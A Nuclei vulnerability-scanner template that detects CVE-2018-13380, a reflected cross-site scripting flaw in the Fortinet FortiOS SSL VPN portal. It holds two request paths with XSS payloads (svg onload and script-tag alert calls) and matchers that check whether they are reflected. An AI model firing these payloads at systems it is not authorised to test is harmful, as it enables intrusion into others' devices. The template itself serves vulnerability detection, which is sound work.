nuclei-templates/http/cves/2018/CVE-2018-13380.yaml

id: CVE-2018-13380

info:
  name: Fortinet FortiOS - Cross-Site Scripting
  author: shelld3v,AaronChen0
  severity: medium
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix this vulnerability.
  reference:
    - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html
    - https://fortiguard.com/advisory/FG-IR-18-383
    - https://fortiguard.com/advisory/FG-IR-20-230
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-13380
    cwe-id: CWE-79
    epss-score: 0.00122
    epss-percentile: 0.46323
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortios
  tags: cve,cve2018,fortios,xss,fortinet

http:
  - method: GET
    path:
      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B"
      - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1337)>"
          - "<script>alert(1337)</script>"
        condition: or

      - type: word
        part: header
        negative: true
        words:
          - "application/json"

      - type: status
        status:
          - 200

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